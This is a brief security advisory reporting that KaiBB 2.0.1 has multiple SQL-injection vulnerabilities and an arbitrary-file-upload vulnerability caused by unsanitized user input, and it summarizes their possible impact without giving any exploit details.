KaiBB is prone to multiple SQL-injection vulnerabilities and a arbitrary-file-upload vulnerability because it fails to sanitize user-supplied data.

Exploiting these issues could allow an attacker to compromise the application, execute arbitrary code, access or modify data, or exploit latent vulnerabilities in the underlying database.

KaiBB 2.0.1 is vulnerable; other versions may also be affected.
